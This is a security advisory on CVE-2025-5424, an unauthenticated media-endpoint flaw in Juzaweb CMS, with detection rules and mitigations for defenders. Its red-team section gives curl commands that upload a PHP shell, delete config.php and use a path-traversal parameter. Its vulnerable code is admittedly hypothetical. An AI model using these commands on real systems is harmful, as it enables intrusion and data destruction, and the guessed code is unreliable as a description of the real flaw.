CVE-2025-5424

Executive Summary

CVE-2025-5424 is a critical improper access control vulnerability in Juzaweb CMS versions up to 3.4.2. The flaw resides in the /admin-cp/media endpoint of the Media Page component, allowing remote attackers to bypass authorization checks and perform unauthorized actions on media resources. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public exploit code has been released, increasing the risk of active exploitation. This vulnerability can lead to unauthorized file access, modification, or deletion, potentially compromising the entire CMS instance.

Supply Chain & Package Security

Juzaweb is a PHP-based CMS distributed via Composer. The vulnerable component is part of the core application. No official patch or advisory has been released. Users should monitor the official repository for updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the affected resource.
• Confidentiality (C): High – Unauthorized access to sensitive media files.
• Integrity (I): High – Unauthorized modification or deletion of media.
• Availability (A): High – Potential denial of service via media deletion.

Threat Level: Critical – Public exploit available, no patch, and remote exploitation possible.

Deep Dive & Mechanics

The vulnerability is an improper access control (CWE-284) in the Media Page component of Juzaweb CMS. The /admin-cp/media endpoint fails to enforce proper authorization checks, allowing any remote user to perform actions such as listing, uploading, downloading, or deleting media files without authentication.

The root cause is likely a missing or flawed middleware check that should verify the user's session and role before processing requests to the media management API. Attackers can craft HTTP requests directly to the endpoint, bypassing the intended admin panel restrictions.

Attack Flow:

1. Identify a Juzaweb instance (e.g., via Shodan or Google dorking).
2. Send a crafted HTTP request to /admin-cp/media with a malicious action parameter (e.g., action=delete&file=../../config.php).
3. The server processes the request without verifying the user's identity, leading to unauthorized file operations.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the media controller or routing logic. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

// routes/web.php
Route::get('/admin-cp/media', 'MediaController@handleAction');

// MediaController.php
public function handleAction(Request $request) {
    $action = $request->input('action');
    $file = $request->input('file');
    // No authentication check
    if ($action == 'delete') {
        unlink(storage_path('media/' . $file));
    }
    // ...
}

Patched Code (Hypothetical):

// routes/web.php
Route::middleware(['auth', 'admin'])->group(function () {
    Route::get('/admin-cp/media', 'MediaController@handleAction');
});

// MediaController.php
public function handleAction(Request $request) {
    $this->authorize('manage-media');
    $action = $request->input('action');
    $file = $request->input('file');
    // Sanitize file path
    $file = basename($file);
    if ($action == 'delete') {
        unlink(storage_path('media/' . $file));
    }
    // ...
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Juzaweb 3.4.2 using Docker or a local PHP environment.
2. Ensure the CMS is accessible via a web server (e.g., Apache/Nginx).

Exploitation Steps:

1. Identify the target URL: http://target.com/admin-cp/media
2. List media files:

   curl -X GET "http://target.com/admin-cp/media?action=list"
   

3. Download a specific file:

   curl -X GET "http://target.com/admin-cp/media?action=download&file=example.jpg" -o example.jpg
   

4. Upload a malicious file (e.g., PHP shell):

   curl -X POST "http://target.com/admin-cp/media?action=upload" -F "file=@shell.php"
   

5. Delete a file:

   curl -X GET "http://target.com/admin-cp/media?action=delete&file=config.php"
   

Exploit-DB Code: None available.

Blue Team

Detection:

• Monitor HTTP requests to /admin-cp/media from unauthenticated sources.
• Alert on unusual file operations (e.g., mass deletions, uploads of executable files).
• Use the detection rules below.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests to /admin-cp/media without a valid session token.
• Restrict access to the admin panel via IP whitelisting or VPN.
• Apply a virtual patch by modifying the .htaccess or Nginx config to require authentication for that path.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin-cp/media with parameters action, file, or folder.
  • Unusual file uploads with extensions like .php, .phtml, .asp.
• File System:
  • Unexpected files in the storage/media directory.
  • Modified or deleted configuration files (e.g., .env, config.php).
• Logs:
  • Web server access logs showing repeated requests to /admin-cp/media from the same IP.
  • PHP error logs indicating file operations on unauthorized paths.

Detection Engineering

YARA Rule

rule CVE_2025_5424_Juzaweb_Media_Access {
    meta:
        description = "Detects exploitation attempts of CVE-2025-5424 in Juzaweb CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5424"
    strings:
        $s1 = "/admin-cp/media" ascii wide nocase
        $s2 = "action=" ascii wide nocase
        $s3 = "file=" ascii wide nocase
        $s4 = "upload" ascii wide nocase
        $s5 = "delete" ascii wide nocase
        $s6 = "download" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2025-5424 Juzaweb Media Page Unauthorized Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable /admin-cp/media endpoint without authentication
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: "/admin-cp/media"
        cs-uri-query|contains: "action="
    condition: selection
falsepositives:
    - Legitimate admin users (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5424 Juzaweb Media Page Unauthorized Access"; flow:to_server; content:"/admin-cp/media"; http_uri; content:"action="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Media Page: If not required, remove or disable the /admin-cp/media route in the application code.
2. Implement Authentication: Add middleware to require admin authentication for all media operations.
3. Web Application Firewall (WAF): Deploy rules to block unauthenticated requests to the vulnerable endpoint.
4. Network Segmentation: Restrict access to the admin panel to trusted IPs only.

Long-Term Fix:

• Monitor the Juzaweb repository for an official patch.
• Consider migrating to a supported CMS if the vendor remains unresponsive.
• Conduct a security audit of the entire application for similar access control issues.

Patch Details: UNKNOWN – No official patch available. Users must implement custom mitigations.

Valters IT